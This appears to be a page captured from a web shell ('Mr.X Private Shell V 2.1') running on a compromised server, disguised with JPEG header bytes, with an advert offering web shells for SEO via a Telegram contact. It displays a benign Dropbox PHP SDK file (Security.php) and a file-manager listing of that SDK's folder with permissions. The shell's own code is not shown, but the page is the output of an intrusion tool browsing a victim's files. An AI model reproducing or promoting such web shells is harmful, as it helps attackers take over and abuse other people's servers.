����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
namespace Dropbox;
/**
* Helper functions for security-related things.
*/
class Security
{
/**
* A string equality function that compares strings in a way that isn't suceptible to timing
* attacks. An attacker can figure out the length of the string, but not the string's value.
*
* Use this when comparing two strings where:
* - one string could be influenced by an attacker
* - the other string contains data an attacker shouldn't know
*
* @param string $a
* @param string $b
* @return bool
*/
static function stringEquals($a, $b)
{
// Be strict with arguments. PHP's liberal types could get us pwned.
if (func_num_args() !== 2) {
throw new \InvalidArgumentException("Expecting 2 args, got ".func_num_args().".");
}
Checker::argString("a", $a);
Checker::argString("b", $b);
$len = strlen($a);
if (strlen($b) !== $len) return false;
$result = 0;
for ($i = 0; $i < $len; $i++) {
$result |= ord($a[$i]) ^ ord($b[$i]);
}
return $result === 0;
}
/**
* Returns cryptographically strong secure random bytes (as a PHP string).
*
* @param int $numBytes
* The number of bytes of random data to return.
*
* @return string
*/
static function getRandomBytes($numBytes)
{
Checker::argIntPositive("numBytes", $numBytes);
// openssl_random_pseudo_bytes had some issues prior to PHP 5.3.4
if (function_exists('openssl_random_pseudo_bytes')
&& version_compare(PHP_VERSION, '5.3.4') >= 0) {
$s = openssl_random_pseudo_bytes($numBytes, $isCryptoStrong);
if ($isCryptoStrong) return $s;
}
if (function_exists('mcrypt_create_iv')) {
return mcrypt_create_iv($numBytes);
}
// Hopefully the above two options cover all our users. But if not, there are
// other platform-specific options we could add.
throw new \Exception("no suitable random number source available");
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| Exception | Folder | 0755 |
|
|
| WebAuthException | Folder | 0755 |
|
|
| certs | Folder | 0755 |
|
|
| AppInfo.php | File | 7.07 KB | 0644 |
|
| AppInfoLoadException.php | File | 326 B | 0644 |
|
| ArrayEntryStore.php | File | 1.13 KB | 0644 |
|
| AuthBase.php | File | 2.52 KB | 0644 |
|
| AuthInfo.php | File | 2.64 KB | 0644 |
|
| AuthInfoLoadException.php | File | 328 B | 0644 |
|
| Checker.php | File | 3.22 KB | 0644 |
|
| Client.php | File | 59.93 KB | 0644 |
|
| Curl.php | File | 4 KB | 0644 |
|
| CurlStreamRelay.php | File | 1.04 KB | 0644 |
|
| DeserializeException.php | File | 389 B | 0644 |
|
| DropboxMetadataHeaderCatcher.php | File | 1.93 KB | 0644 |
|
| Exception.php | File | 265 B | 0644 |
|
| Host.php | File | 2.65 KB | 0644 |
|
| HttpResponse.php | File | 246 B | 0644 |
|
| OAuth1AccessToken.php | File | 1.44 KB | 0644 |
|
| OAuth1Upgrader.php | File | 5.26 KB | 0644 |
|
| Path.php | File | 5.36 KB | 0644 |
|
| RequestUtil.php | File | 11.34 KB | 0644 |
|
| RootCertificates.php | File | 4.89 KB | 0644 |
|
| SSLTester.php | File | 4.74 KB | 0644 |
|
| Security.php | File | 2.08 KB | 0644 |
|
| StreamReadException.php | File | 316 B | 0644 |
|
| Util.php | File | 799 B | 0644 |
|
| ValueStore.php | File | 1.28 KB | 0644 |
|
| WebAuth.php | File | 10.23 KB | 0644 |
|
| WebAuthBase.php | File | 4.61 KB | 0644 |
|
| WebAuthNoRedirect.php | File | 2.95 KB | 0644 |
|
| WriteMode.php | File | 3.66 KB | 0644 |
|
| autoload.php | File | 844 B | 0644 |
|
| strict.php | File | 538 B | 0644 |
|